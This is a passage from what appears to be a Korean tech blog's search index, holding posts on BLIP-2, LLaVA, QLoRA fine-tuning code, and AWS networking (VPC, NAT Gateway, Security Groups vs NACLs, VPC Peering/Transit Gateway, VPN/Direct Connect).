없지만 LLM 컨텍스트를 더 많이 차지한다.\n","permalink":"https://charminggroot.github.io/posts/093-blip2/","summary":"BLIP-2(2023)는 Q-Former라는 경량 쿼리 트랜스포머로 고정된 이미지 인코더와 고정된 LLM을 연결한다. 두 모델을 재학습 없이 연결하므로 학습 비용이 낮고, 더 강력한 LLM으로 교체하면 멀티모달 능력도 함께 향상된다.","title":"093. BLIP-2 — Q-Former로 비전과 LLM 연결"},{"content":"GPT-4V가 멀티모달 능력을 보여준 직후, 오픈소스 커뮤니티는 같은 능력을 재현하려 했다. 그러나 학습 데이터가 문제였다. 이미지와 자연어 지시를 함께 포함한 데이터셋이 없었다.\nWisconsin-Madison의 Liu 등이 2023년 발표한 LLaVA(Large Language and Vision Assistant)는 이 문제를 GPT-4로 해결했다.\nGPT-4로 학습 데이터 생성 이미지를 직접 GPT-4에 보낼 수는 없었다(당시 GPT-4V가 아직 없었다). 대신 이미지의 캡션과 바운딩 박스 정보를 텍스트로 변환해 GPT-4에 주고, 이 이미지에 대한 다양한 질의응답을 생성하도록 했다.\nGPT-4 입력: \u0026#34;다음 이미지에 대한 설명: 해변에서 두 아이가 모래성을 쌓고 있다. 바운딩 박스: [아이1: (120,80,200,300)], [모래성: (250,200,400,350)] 이 이미지에 대한 상세한 질의응답 5쌍을 만들어라.\u0026#34; GPT-4 출력: Q: 아이들은 무엇을 하고 있나요? A: 두 아이가 해변 모래사장에서 함께 모래성을 쌓고 있습니다. ... 이 방식으로 158K 개의 이미지-지시 쌍을 생성했다. 세 가지 유형: 상세 설명, 복잡한 추론, 대화.\n단순하지만 효과적인 아키텍처 LLaVA의 아키텍처는 의도적으로 단순하다.\n이미지 → CLIP ViT-L/14 → 패치 특징 (256×1024) ↓ 선형 투영 W (1024×4096) 시각 토큰 (256×4096) ↓ [시각 토큰] + [텍스트 토큰] → LLaMA 7B → 답변 BLIP-2의 Q-Former 같은 복잡한 구조 없이 선형 투영 레이어 하나다. 시각 토큰을 텍스트 토큰과 같은 차원으로 변환해 LLM 앞에 붙이는 것이 전부다.\n2단계 학습:\n특징 정렬: 선형 투영만 학습 (595K 이미지-캡션 쌍) End-to-End 파인튜닝: 선형 투영 + LLaMA 전체 학습 (158K 지시 데이터) 성능 당시 공개 모델 중 최고 수준의 시각 추론을 보였다. ScienceQA 벤치마크에서 GPT-4에 가까운 성능을 달성했다.\n단순한 아키텍처임에도 GPT-4 생성 지시 데이터의 품질이 성능을 결정했다는 것을 보여줬다.\nLLaVA-1.5 (2023) LLaVA의 개선판이다. 선형 투영을 2층 MLP로 교체하고, 더 해상도 높은 이미지 처리를 추가했다. BLIP-2보다 전반적으로 좋은 성능을 냈다.\nLLaVA-NeXT (LLaVA 1.6, 2024) 동적 고해상도를 도입했다. 이미지를 여러 타일로 나눠 각각 처리해 세밀한 시각 정보를 보존한다.\n1024×768 이미지 → 4개 타일 (512×384) + 썸네일 1개 각 타일을 독립적으로 CLIP 인코딩 LLM에 순서대로 입력 고해상도 이미지에서 OCR(이미지 내 텍스트 읽기), 세밀한 시각 추론 성능이 크게 향상됐다.\n오픈소스 생태계 LLaVA의 오픈소스 공개는 멀티모달 연구를 민주화했다. 이후 InternVL, Phi-3-Vision, MiniCPM-V, Idefics 등 수십 개의 오픈소스 멀티모달 모델이 LLaVA의 설계를 따랐다.\n베이스 LLM을 바꾸면 성능이 올라간다. LLaMA 7B → Mistral 7B → LLaMA 3 8B로 교체하면서 같은 아키텍처에서 성능이 계속 향상됐다.\nfrom transformers import LlavaNextProcessor, LlavaNextForConditionalGeneration from PIL import Image import torch processor = LlavaNextProcessor.from_pretrained(\u0026#34;llava-hf/llava-v1.6-mistral-7b-hf\u0026#34;) model = LlavaNextForConditionalGeneration.from_pretrained( \u0026#34;llava-hf/llava-v1.6-mistral-7b-hf\u0026#34;, torch_dtype=torch.float16, device_map=\u0026#34;auto\u0026#34; ) image = Image.open(\u0026#34;chart.png\u0026#34;) prompt = \u0026#34;[INST] \u0026lt;image\u0026gt;\\n이 차트에서 가장 높은 값은 얼마인가요? [/INST]\u0026#34; inputs = processor(prompt, image, return_tensors=\u0026#34;pt\u0026#34;).to(\u0026#34;cuda\u0026#34;) output = model.generate(**inputs, max_new_tokens=200) print(processor.decode(output[0], skip_special_tokens=True)) 트레이드오프 LLaVA의 선형 투영 방식은 256개 시각 토큰을 LLM 컨텍스트에 차지한다. LLM의 컨텍스트 윈도우를 줄이는 것이 단점이다. 타일 방식(LLaVA-NeXT)은 더 많은 토큰(1024개 이상)을 사용해 컨텍스트 소비가 크다.\n또한 LLaVA는 시각 인코더가 고정(CLIP 또는 DINOv2)이다. 매우 특수한 도메인(예: 의료 X-ray, 병리 슬라이드)에서는 특화된 비전 인코더로 교체하거나 파인튜닝이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/094-llava/","summary":"LLaVA(2023)는 CLIP 비전 인코더와 LLaMA를 선형 투영 레이어 하나로 연결한 오픈소스 멀티모달 모델이다. GPT-4가 생성한 158K 시각 지시 데이터로 학습해 GPT-4V에 가까운 시각 추론 능력을 보인다.","title":"094. LLaVA — 오픈소스 멀티모달 LLM"},{"content":"LoRA(089)는 가중치를 고정하고 저차원 행렬만 학습해 파인튜닝 비용을 낮췄다. 그러나 기반 모델 가중치는 FP16으로 메모리에 올려야 한다. LLaMA-65B는 130GB VRAM이 필요하다. LoRA를 써도 옵티마이저 상태와 활성화 메모리가 추가된다.\nUW의 Dettmers 등이 2023년 발표한 QLoRA는 한 단계 더 나아갔다. 기반 모델을 4비트로 양자화한 상태에서 LoRA를 적용한다.\n세 가지 핵심 기술 NF4 (Normal Float 4) LLM 가중치는 정규 분포(가우시안 분포)를 따른다. 대부분의 값이 0 근처에 밀집하고 극단값이 드물다.\n기존 INT4는 -8~7의 균등 간격으로 표현한다. 가중치가 많이 몰려 있는 0 근처는 정밀도가 낮고 실제로 거의 없는 극단값에 비트를 낭비한다.\nNF4는 정규 분포에 맞춰 양자화 경계를 설계한다. 0 근처는 경계를 촘촘하게, 극단 쪽은 듬성듬성하게 배치해 동일한 4비트로 더 많은 정보를 보존한다.\nINT4: -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7 (균등) NF4: -1.0, -0.69, -0.49, -0.33, -0.18, -0.06, 0.06, 0.18, ... (정규 분포 분위수 기반) 이중 양자화 (Double Quantization) NF4로 가중치를 양자화하려면 각 블록마다 스케일 상수가 필요하다. 이 스케일 상수 자체도 메모리를 차지한다.\n이중 양자화는 스케일 상수를 다시 양자화한다. FP32 스케일 상수를 FP8로 줄여 추가로 메모리를 절약한다. 효과는 파라미터당 약 0.37비트 절약으로 작지만 대형 모델에서는 수 GB가 된다.\n페이지드 옵티마이저 (Paged Optimizer) GPU 메모리가 부족한 순간이 있다. 긴 시퀀스를 처리하는 배치는 순간적으로 메모리를 많이 사용한다. 이때 일반적으로 OOM(Out-of-Memory) 오류가 발생한다.\n페이지드 옵티마이저는 NVIDIA의 통합 메모리를 활용한다. 옵티마이저 상태(Adam의 모멘텀, 분산 추정값)를 CPU RAM에도 저장해 GPU 메모리가 부족할 때 자동으로 CPU로 페이지 아웃한다. 메모리 spike를 흡수해 OOM 없이 학습을 안정화한다.\n결합하면 기반 모델 가중치: FP16 → NF4 (4× 감소) 스케일 상수: FP32 → FP8 (이중 양자화) 옵티마이저 상태: GPU 부족 시 CPU로 페이지 아웃 + LoRA: NF4 가중치를 고정하고 저차원 행렬만 FP16으로 학습 LLaMA-65B(FP16: 130GB) → QLoRA(NF4 + LoRA: ~48GB). 단일 A40 또는 A6000에서 학습 가능하다.\n코드 from transformers import AutoModelForCausalLM, AutoTokenizer, BitsAndBytesConfig from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training import torch # 4비트 양자화 설정 bnb_config = BitsAndBytesConfig( load_in_4bit=True, bnb_4bit_use_double_quant=True, # 이중 양자화 bnb_4bit_quant_type=\u0026#34;nf4\u0026#34;, # NF4 사용 bnb_4bit_compute_dtype=torch.bfloat16 # 계산은 BF16 ) model = AutoModelForCausalLM.from_pretrained( \u0026#34;meta-llama/Llama-2-13b-hf\u0026#34;, quantization_config=bnb_config, device_map=\u0026#34;auto\u0026#34;, ) # 양자화 모델에 LoRA 적용 준비 model = prepare_model_for_kbit_training(model) lora_config = LoraConfig( r=16, lora_alpha=32, target_modules=[\u0026#34;q_proj\u0026#34;, \u0026#34;v_proj\u0026#34;], lora_dropout=0.05, task_type=\u0026#34;CAUSAL_LM\u0026#34;, ) model = get_peft_model(model, lora_config) model.print_trainable_parameters() # trainable params: 6,553,600 || all params: 6,744,444,928 || trainable%: 0.0972 Guanaco 모델 QLoRA 논문은 LLaMA를 OASST1(오픈소스 인간 피드백 데이터)으로 파인튜닝한 Guanaco 시리즈를 공개했다. 65B Guanaco는 ChatGPT와 비교했을 때 사람 평가자의 30% 이상이 동등하거나 더 낫다고 평가했다.\n단일 48GB GPU에서 24시간 이내에 학습한 결과다. 이것이 QLoRA가 주목받은 이유다.\ntrl 라이브러리 Hugging Face의 TRL(Transformer Reinforcement Learning)은 QLoRA 파인튜닝을 더 간단하게 만드는 SFTTrainer를 제공한다.\nfrom trl import SFTTrainer from transformers import TrainingArguments training_args = TrainingArguments( output_dir=\u0026#34;./output\u0026#34;, num_train_epochs=3, per_device_train_batch_size=4, gradient_accumulation_steps=4, learning_rate=2e-4, fp16=True, optim=\u0026#34;paged_adamw_32bit\u0026#34;, # 페이지드 옵티마이저 ) trainer = SFTTrainer( model=model, train_dataset=dataset, peft_config=lora_config, dataset_text_field=\u0026#34;text\u0026#34;, max_seq_length=2048, args=training_args, ) trainer.train() GPTQ와의 차이 GPTQ(090)는 추론 최적화다. 이미 학습된 모델을 압축한다. QLoRA는 학습 최적화다. 4비트 상태에서 새 지식을 주입한다.\n학습이 끝나면 LoRA 가중치를 기반 모델에 병합할 수 있다. 병합된 모델을 다시 GPTQ나 GGUF로 압축하면 배포도 효율적이다.\n트레이드오프 4비트 양자화 상태에서 학습하면 full fine-tuning이나 LoRA(FP16 기반)보다 성능이 약간 낮을 수 있다. 특히 오랜 지시 학습이나 수학 추론처럼 세밀한 지식 주입이 필요한 경우다. 그러나 리소스 제약이 있는 환경에서 받아들일 수 있는 트레이드오프다.\n학습 속도도 느리다. 양자화/역양자화 과정이 계산 오버헤드를 만든다. FP16 LoRA보다 20-30% 느린 것이 일반적이다.\n실용적으로는 가장 폭넓게 쓰이는 파인튜닝 방법이다. 7B~13B 모델 기준 소비자 GPU(RTX 3090, 4090 24GB)에서도 QLoRA 파인튜닝이 가능하다.\n","permalink":"https://charminggroot.github.io/posts/095-qlora/","summary":"QLoRA(2023)는 4비트 양자화된 기반 모델에 LoRA를 적용해 65B 모델을 단일 48GB GPU에서 파인튜닝하는 방법이다. NF4(Normal Float 4) 양자화, 이중 양자화, 페이지드 옵티마이저 세 가지 기술을 결합해 메모리를 획기적으로 줄인다.","title":"095. QLoRA — 소비자 GPU에서 65B 모델 파인튜닝"},{"content":"온프렘에서는 물리 스위치와 VLAN으로 네트워크를 구성한다. AWS에서는 VPC가 그 역할을 한다. VPC는 클라우드 위에 소프트웨어로 만든 사설 네트워크다. 내 계정 안에서만 존재하고, 다른 계정의 VPC와는 기본적으로 완전히 격리된다.\n구성 요소 CIDR 블록 VPC를 만들 때 IP 주소 범위를 지정한다. 이 범위 안에서 서브넷을 나눈다.\nVPC CIDR: 10.0.0.0/16 (65,536개 주소) 나중에 VPC CIDR을 바꾸는 것은 어렵다. 처음부터 넉넉하게 /16으로 잡는다.\n서브넷 VPC를 더 작은 구역으로 나눈 것이다. 서브넷은 특정 가용 영역(AZ) 에 속한다.\npublic subnet AZ-a: 10.0.1.0/24 ← 인터넷 직접 접근 가능 public subnet AZ-b: 10.0.2.0/24 private subnet AZ-a: 10.0.11.0/24 ← 인터넷 직접 접근 불가 private subnet AZ-b: 10.0.12.0/24 public 서브넷: Internet Gateway로 향하는 라우팅이 있고, 인스턴스에 공인 IP를 직접 할당할 수 있다. 로드밸런서, NAT Gateway, Bastion Host를 여기 둔다.\nprivate 서브넷: Internet Gateway 라우팅이 없다. 외부에서 직접 접근할 수 없다. 앱 서버, DB, 캐시처럼 외부에 노출하지 않아야 하는 것들을 여기 둔다.\nInternet Gateway (IGW) VPC와 인터넷 사이의 관문이다. VPC 당 하나 붙인다. IGW가 없으면 public 서브넷이어도 인터넷과 통신할 수 없다.\n라우팅 테이블 서브넷마다 라우팅 테이블이 붙는다. 패킷의 목적지 IP에 따라 어디로 보낼지 결정한다.\n# public 서브넷 라우팅 테이블 목적지 다음 홉 10.0.0.0/16 local ← VPC 내부는 직접 통신 0.0.0.0/0 igw-xxxxx ← 그 외 모든 트래픽은 인터넷 게이트웨이로 # private 서브넷 라우팅 테이블 목적지 다음 홉 10.0.0.0/16 local 0.0.0.0/0 nat-xxxxx ← 아웃바운드는 NAT Gateway로 (인바운드는 불가) 가장 구체적인 경로가 우선 적용된다. 10.0.0.0/16이 0.0.0.0/0보다 더 구체적이므로 VPC 내부 트래픽은 local로 처리된다.\n실무 설계 패턴 3-tier 아키텍처 인터넷 ↓ [ALB — public 서브넷] ↓ [앱 서버 — private 서브넷] ↓ [DB — private 서브넷 (DB 전용)] DB 서브넷은 앱 서버 서브넷과도 분리해 별도 라우팅 테이블을 쓰는 경우가 많다. DB는 앱 서버에서만 접근 가능하게 Security Group으로 제한한다.\n멀티 AZ AZ가 하나면 그 AZ에 장애가 생기면 전체가 내려간다. 서브넷을 최소 2개 AZ에 걸쳐 만들고, 로드밸런서와 Auto Scaling Group을 멀티 AZ로 구성한다.\nAZ-a: public(10.0.1.0/24) + private(10.0.11.0/24) AZ-b: public(10.0.2.0/24) + private(10.0.12.0/24) AZ-c: public(10.0.3.0/24) + private(10.0.13.0/24) ← 선택 NAT Gateway도 AZ마다 하나씩 만들어야 한다. NAT Gateway 하나를 다른 AZ 서브넷이 공유하면, NAT Gateway가 있는 AZ가 죽으면 다른 AZ도 아웃바운드가 끊긴다. 비용이 두세 배 들지만 고가용성 요구사항이 있다면 필수다.\n트레이드오프 VPC는 리전 단위다. 서울 리전 VPC와 도쿄 리전 VPC는 기본적으로 격리돼 있다. 리전 간 통신은 VPC Peering이나 Transit Gateway로 연결해야 하고, 이 트래픽은 공인 인터넷을 타지 않는 AWS 백본을 통과하지만 추가 비용이 발생한다.\n서브넷 CIDR은 한 번 정하면 변경이 불가능하다. 줄이거나 바꾸려면 서브넷을 삭제하고 다시 만들어야 한다. 실수로 너무 작게 잡으면 IP 부족으로 인스턴스를 추가하지 못하는 상황이 생긴다.\n","permalink":"https://charminggroot.github.io/posts/037-vpc/","summary":"VPC(Virtual Private Cloud)는 클라우드 위에 만드는 논리적 사설 네트워크다. 서브넷으로 구역을 나누고, 라우팅 테이블로 트래픽 방향을 제어하고, Internet Gateway로 외부와 연결한다. public/private 서브넷의 차이, 라우팅 테이블이 동작하는 방식, 그리고 실무 VPC 설계 패턴을 설명한다.","title":"037. VPC — 클라우드 위의 사설 네트워크"},{"content":"private 서브넷에 있는 앱 서버가 외부 API를 호출하거나 OS 패키지를 업데이트하려면 인터넷에 나갈 수 있어야 한다. 하지만 인터넷에서 직접 들어오는 것은 막아야 한다. NAT Gateway는 이 비대칭 요구사항을 해결한다. 아웃바운드는 허용, 인바운드는 차단.\n동작 원리 private 서브넷 (10.0.11.5) → 라우팅 테이블: 0.0.0.0/0 → nat-gateway → NAT Gateway (public 서브넷, Elastic IP: 203.0.113.1) 출발지 IP를 10.0.11.5 → 203.0.113.1:포트 로 SNAT → Internet Gateway → 외부 서버 (api.github.com) 응답: 외부 서버 → 203.0.113.1:포트 → NAT Gateway: conntrack 테이블 보고 10.0.11.5 로 복원 → private 서브넷 서버 외부에서 먼저 203.0.113.1로 연결을 시도해도 NAT Gateway는 conntrack 항목이 없으니 어느 내부 서버로 보낼지 모른다. 연결이 성립되지 않는다. 이것이 private 서브넷이 외부에서 \u0026ldquo;보이지 않는\u0026rdquo; 이유다.\n배치 위치 NAT Gateway는 public 서브넷에 위치해야 한다. 자체 Elastic IP(고정 공인 IP)를 가진다. private 서브넷의 라우팅 테이블에서 0.0.0.0/0 → nat-gateway-id를 지정하면 연결된다.\n[private subnet] → route table → [NAT Gateway in public subnet] → [IGW] → Internet NAT Gateway가 인터넷에 나가려면 public 서브넷에 IGW 라우팅이 있어야 한다. NAT Gateway 자체가 IGW를 거쳐 나가는 구조다.\n고가용성 — AZ별 NAT Gateway NAT Gateway는 단일 AZ 안에서만 동작한다. AZ-a의 NAT Gateway는 AZ-a의 private 서브넷 트래픽만 처리한다.\n# 잘못된 설계 (NAT Gateway 하나 공유) private-AZ-a: 0.0.0.0/0 → nat-gateway-AZ-a private-AZ-b: 0.0.0.0/0 → nat-gateway-AZ-a ← AZ-a 장애 시 AZ-b도 아웃바운드 끊김 # 올바른 설계 (AZ별 NAT Gateway) private-AZ-a: 0.0.0.0/0 → nat-gateway-AZ-a private-AZ-b: 0.0.0.0/0 → nat-gateway-AZ-b 비용이 2배가 되지만, 한 AZ 장애가 다른 AZ 아웃바운드를 끊지 않는다.\n비용 구조 NAT Gateway는 두 가지 비용이 발생한다.\n시간당 요금: 존재하는 것만으로도 시간당 과금된다 (약 $0.045/hr, 리전마다 다름). 한 달이면 약 $32.\n데이터 처리 요금: NAT Gateway를 통과하는 데이터 GB당 과금된다 (약 $0.045/GB). 트래픽이 많으면 이 비용이 지배적이 된다.\n데이터 처리 비용은 AZ를 넘는 트래픽에서 배가된다. AZ-a의 서버가 AZ-b의 NAT Gateway를 쓰면 AZ 간 데이터 전송 비용도 추가된다. AZ별로 NAT Gateway를 두는 것이 고가용성뿐 아니라 비용 측면에서도 맞다.\nS3, DynamoDB 같은 AWS 서비스는 VPC Endpoint를 쓰면 NAT Gateway를 거치지 않는다. 이 서비스들을 많이 쓰는 환경에서는 VPC Endpoint 설정으로 NAT 비용을 크게 줄일 수 있다.\nEKS에서의 주의사항 EKS에서 파드 IP가 VPC IP를 직접 쓰는 경우(AWS VPC CNI), 파드에서 외부로 나가는 트래픽도 NAT Gateway를 거친다. 파드가 많으면 NAT Gateway 트래픽이 예상보다 훨씬 많아질 수 있다.\n아웃바운드 IP를 고정해야 하는 경우(외부 시스템 IP 화이트리스트 등), NAT Gateway의 Elastic IP가 그 고정 IP가 된다. AZ별로 NAT Gateway가 있으면 Elastic IP도 여러 개가 되므로, IP 화이트리스트에 모두 등록해야 한다.\n트레이드오프 NAT Gateway는 AWS가 관리하는 완전 관리형 서비스다. 가용성, 스케일링을 AWS가 처리한다. 대안으로 EC2 인스턴스에 NAT를 직접 구성하는 NAT Instance 방식이 있는데, 비용은 절감되지만 가용성과 성능 관리를 직접 해야 한다. 트래픽이 적은 개발 환경에서 비용 절감 목적으로 쓰는 경우가 있다.\n","permalink":"https://charminggroot.github.io/posts/038-nat-gateway/","summary":"private 서브넷의 서버는 인터넷에서 직접 접근할 수 없지만, 외부 API 호출이나 패키지 설치를 위해 아웃바운드 인터넷 접근은 필요하다. NAT Gateway는 이 단방향 출구를 제공한다. 동작 원리, 비용 구조, 고가용성 설계, 그리고 EKS에서의 주의사항을 설명한다.","title":"038. NAT Gateway — private 서브넷의 아웃바운드 인터넷 출구"},{"content":"AWS 네트워크 보안에는 두 레이어가 있다. Security Group은 EC2 인스턴스(또는 ENI)에 붙는다. NACL(Network Access Control List)은 서브넷에 붙는다. 둘 다 인바운드/아웃바운드 트래픽을 제어하지만 동작 방식이 근본적으로 다르다.\nSecurity Group — Stateful Security Group은 연결 상태를 추적(stateful) 한다. 인바운드 요청이 허용되면, 그 연결에 대한 응답(아웃바운드)은 아웃바운드 규칙과 무관하게 자동으로 허용된다.\n# Security Group 설정 인바운드: TCP 443 허용 (HTTPS) 아웃바운드: 별도 규칙 없음 클라이언트 → 인스턴스 (443 포트) → 인바운드 규칙 허용 ✓ 인스턴스 → 클라이언트 (응답) → 자동 허용 ✓ (stateful이기 때문) 아웃바운드 규칙을 명시하지 않아도 인바운드로 허용된 연결의 응답은 나간다. 반대도 마찬가지다. 아웃바운드 요청이 허용되면 그 응답(인바운드)은 자동 허용된다.\n특징 허용 규칙만 있다. 거부 규칙이 없다. 명시되지 않은 트래픽은 기본 거부. 여러 Security Group을 하나의 인스턴스에 붙일 수 있다. 규칙들은 합산(OR)된다. 소스/목적지에 다른 Security Group ID를 지정할 수 있다. \u0026ldquo;이 Security Group이 붙은 인스턴스에서 오는 트래픽\u0026quot;이라는 동적 규칙이 가능하다. # Security Group 규칙 예시 인바운드: - 프로토콜: TCP, 포트: 443, 소스: 0.0.0.0/0 # 모든 HTTPS - 프로토콜: TCP, 포트: 5432, 소스: sg-app-servers # 앱 서버 SG에서만 DB 접근 허용 아웃바운드: - 프로토콜: 전체, 목적지: 0.0.0.0/0 # 모든 아웃바운드 허용 (기본값) NACL — Stateless NACL은 연결 상태를 추적하지 않는다(stateless). 인바운드와 아웃바운드를 완전히 독립적으로 평가한다. 인바운드 요청이 허용돼도 응답(아웃바운드)이 별도 규칙으로 허용되지 않으면 차단된다.\n# NACL 설정 인바운드: TCP 443 허용 아웃바운드: 규칙 없음 클라이언트 → 인스턴스 (443 포트) → 인바운드 허용 ✓ 인스턴스 → 클라이언트 (응답) → 아웃바운드 규칙 없음 → 차단 ✗ 응답이 나가려면 Ephemeral Port(임시 포트) 범위도 아웃바운드로 열어야 한다. 클라이언트는 응답을 받을 임시 포트(1024~65535)를 랜덤으로 선택해 연결한다. NACL을 쓸 때 이 범위를 아웃바운드 허용하지 않으면 응답이 차단된다.\n# 올바른 NACL 설정 인바운드: TCP 443 허용 (0.0.0.0/0) 아웃바운드: TCP 1024-65535 허용 (0.0.0.0/0) ← Ephemeral Port 특징 허용 규칙과 거부 규칙 둘 다 있다. 규칙에 번호(Rule Number)가 있고, 낮은 번호부터 순서대로 평가한다. 첫 번째로 매칭되는 규칙이 적용된다. 서브넷 레벨에서 적용된다. 서브넷 안의 모든 인스턴스에 일괄 적용된다. 기본 NACL은 모든 트래픽 허용이다. # NACL 규칙 예시 번호 프로토콜 포트 소스 동작 100 TCP 443 0.0.0.0/0 허용 200 TCP 22 10.0.0.0/8 허용 300 TCP 22 0.0.0.0/0 거부 ← 외부에서 SSH 차단 * 전체 전체 0.0.0.0/0 거부 ← 기본 거부 규칙 번호 300이 SSH를 외부에서 차단하고, 200이 내부 대역(10.x.x.x)에서는 허용한다. 200이 300보다 먼저 평가되므로 내부 → SSH는 통과된다.\n비교 Security Group NACL 적용 레벨 인스턴스(ENI) 서브넷 상태 추적 Stateful Stateless 거부 규칙 없음 (기본 거부) 있음 규칙 평가 전체 합산 번호 순서대로, 첫 매칭 기본값 모든 아웃바운드 허용 모든 트래픽 허용 언제 무엇을 쓰는가 Security Group이 주요 수단이다. 대부분의 접근 제어는 Security Group으로 충분하다. stateful이라 설정이 단순하고, SG ID를 소스로 지정하는 동적 규칙이 강력하다.\nNACL은 서브넷 레벨 추가 방어선이다. 특정 IP 대역을 서브넷 전체에서 완전히 차단해야 할 때 쓴다. DDoS 공격 IP를 빠르게 차단하거나, 특정 서브넷이 절대 접근하면 안 되는 경우에 유용하다. stateless라 Ephemeral Port 관리가 번거로워 기본적으로 NACL은 기본값(모두 허용)으로 두고 Security Group에 집중하는 팀도 많다.\n","permalink":"https://charminggroot.github.io/posts/039-security-group-nacl/","summary":"AWS에는 두 가지 네트워크 접근 제어 메커니즘이 있다. Security Group은 인스턴스 레벨에서 동작하는 stateful 방화벽이고, NACL은 서브넷 레벨에서 동작하는 stateless 방화벽이다. 둘의 결정적인 차이인 stateful vs stateless가 실제로 무엇을 의미하는지, 언제 무엇을 써야 하는지 설명한다.","title":"039. Security Group vs NACL — AWS의 두 가지 방화벽"},{"content":"개발 VPC와 프로덕션 VPC, 또는 팀별로 분리된 VPC들이 서로 통신해야 할 때가 있다. VPC는 기본적으로 격리돼 있으므로 연결을 직접 설정해야 한다. AWS에서는 VPC Peering과 Transit Gateway 두 가지 방식을 제공한다.\nVPC Peering — 1:1 직접 연결 두 VPC를 직접 연결하는 방식이다. 피어링이 성립되면 두 VPC의 리소스가 사설 IP로 통신할 수 있다. 트래픽이 인터넷을 타지 않는다.\nVPC A (10.1.0.0/16) ←→ VPC B (10.2.0.0/16) 설정 방법:\n피어링 연결 요청 생성 반대편 VPC에서 수락 양쪽 VPC의 라우팅 테이블에 상대방 CIDR 추가 Security Group 규칙에 상대방 CIDR 허용 추가 VPC A 라우팅 테이블: 10.2.0.0/16 → pcx-xxxxx (피어링 연결) VPC B 라우팅 테이블: 10.1.0.0/16 → pcx-xxxxx (피어링 연결) Peering의 한계: 전이적 라우팅 불가 VPC Peering은 전이적 라우팅(transitive routing)을 지원하지 않는다. A-B 피어링과 B-C 피어링이 있어도 A에서 C로 B를 거쳐 통신할 수 없다.\nA ←→ B ←→ C A에서 C로 통신하려면 A-C 피어링을 별도로 만들어야 한다. VPC가 늘어나면 피어링 수가 폭발적으로 늘어난다. N개의 VPC를 모두 연결하려면 N*(N-1)/2개의 피어링이 필요하다.\nVPC 5개 → 10개 피어링 VPC 10개 → 45개 피어링 각 피어링마다 양쪽 라우팅 테이블을 관리해야 한다. 조직이 커지면 관리 불가 수준이 된다.\nTransit Gateway — 중앙 라우터 Transit Gateway(TGW)는 여러 VPC와 온프렘 네트워크를 연결하는 중앙 허브다. 허브-스포크(Hub-Spoke) 구조로, 모든 VPC를 TGW에 연결하면 서로 통신할 수 있다.\nVPC A ─┐ VPC B ─┼─ Transit Gateway ─── 온프렘 (VPN/Direct Connect) VPC C ─┘ 각 VPC에서 TGW로 가는 라우팅만 추가하면 된다. VPC끼리 직접 피어링할 필요가 없다.\nVPC A 라우팅 테이블: 10.0.0.0/8 → tgw-xxxxx ← 모든 내부 트래픽을 TGW로 TGW 라우팅 테이블: 10.1.0.0/16 → VPC A attachment 10.2.0.0/16 → VPC B attachment 10.3.0.0/16 → VPC C attachment 10.10.0.0/16 → VPN attachment (온프렘) TGW는 전이적 라우팅을 지원한다. A → TGW → C 경로가 가능하다.\nTGW 라우팅 테이블로 격리 TGW에 여러 라우팅 테이블을 만들어 VPC 간 접근을 세밀하게 제어할 수 있다.\n# 공유 서비스(모니터링, 로깅)는 모든 VPC에서 접근 가능 # 개발 VPC와 프로덕션 VPC는 서로 직접 통신 불가 라우팅 테이블 A (개발용): 10.1.0.0/16 → dev-vpc (자기 자신) 10.100.0.0/16 → shared-vpc (공유 서비스) 라우팅 테이블 B (프로덕션용): 10.2.0.0/16 → prod-vpc (자기 자신) 10.100.0.0/16 → shared-vpc (공유 서비스) # dev-vpc 경로 없음 → 프로덕션 ↔ 개발 통신 차단 비교 VPC Peering Transit Gateway 연결 방식 1:1 직접 허브-스포크 전이적 라우팅 불가 가능 관리 복잡도 VPC 증가 시 기하급수적 중앙 집중 관리 비용 데이터 전송 비용만 연결 시간당 + 데이터 전송 비용 리전 간 가능 (Inter-region Peering) 가능 (Inter-region TGW Peering) 대역폭 제한 없음 최대 50Gbps/AZ 언제 무엇을 쓰는가 VPC가 2~3개이고 연결 구조가 단순하다면 Peering이 싸고 간단하다. TGW는 시간당 비용이 발생하므로 VPC가 적을 때는 오버엔지니어링이다.\nVPC가 4개 이상이거나, 온프렘과 연결이 필요하거나, 환경별 격리 정책이 필요하다면 TGW가 낫다. 나중에 Peering에서 TGW로 마이그레이션하는 것보다 처음부터 TGW로 설계하는 것이 덜 고통스럽다.\n","permalink":"https://charminggroot.github.io/posts/040-vpc-peering-transit-gateway/","summary":"VPC는 기본적으로 격리된 네트워크다. 여러 VPC를 연결하려면 VPC Peering 또는 Transit Gateway를 쓴다. Peering은 두 VPC를 직접 연결하는 단순한 방식이고, Transit Gateway는 여러 VPC를 허브-스포크 구조로 연결하는 중앙 라우터다. 각각의 동작 방식과 어떤 상황에 무엇을 쓰는지 설명한다.","title":"040. VPC Peering vs Transit Gateway — VPC 간 연결 방식"},{"content":"클라우드로 완전히 이전하지 않은 조직은 온프렘 데이터센터와 AWS가 공존한다. ERP나 레거시 DB는 온프렘에, 새 서비스는 AWS에 있는 식이다. 이 둘이 사설 IP로 안전하게 통신하려면 연결이 필요하다.\nSite-to-Site VPN 인터넷을 통해 암호화된 터널을 만드는 방식이다. 온프렘 네트워크 장비(Customer Gateway)와 AWS의 Virtual Private Gateway 사이에 IPSec 터널을 구성한다.\n온프렘 데이터센터 [Customer Gateway (라우터/방화벽)] ↕ IPSec 암호화 터널 (인터넷 경유) [Virtual Private Gateway] AWS VPC 특징 설정이 빠르다. AWS 콘솔에서 Customer Gateway(온프렘 장비 IP 등록)와 Virtual Private Gateway를 만들고, 다운로드되는 설정 파일을 온프렘 장비에 적용하면 수 시간 안에 연결된다.\n기본적으로 2개의 터널을 만든다. 하나가 끊겨도 다른 하나로 이어진다. 단, 두 터널이 같은 인터넷 경로를 타면 ISP 장애 시 동시에 끊길 수 있다.\n대역폭이 제한적이다. AWS VPN의 최대 처리량은 터널당 약 1.25Gbps다. 인터넷을 거치므로 실제 레이턴시와 처리량은 인터넷 상태에 따라 변동된다.\n비용 시간당 연결 비용 + 데이터 아웃바운드 비용. 설치 비용이 없고 Direct Connect에 비해 훨씬 싸다.\nDirect Connect AWS 데이터센터와 온프렘 데이터센터를 물리 전용 회선으로 연결하는 방식이다. 인터넷을 거치지 않는다.\n온프렘 데이터센터 [Customer Router] ↕ 전용 광케이블 (Direct Connect Location 경유) [AWS Direct Connect Router] AWS VPC Direct Connect Location은 AWS와 협력하는 코로케이션 데이터센터(Equinix, Megaport 등)다. 온프렘 회선을 이 시설까지 끌고, AWS는 이 시설에서 자체 회선을 운영한다.\n특징 일관된 레이턴시: 인터넷을 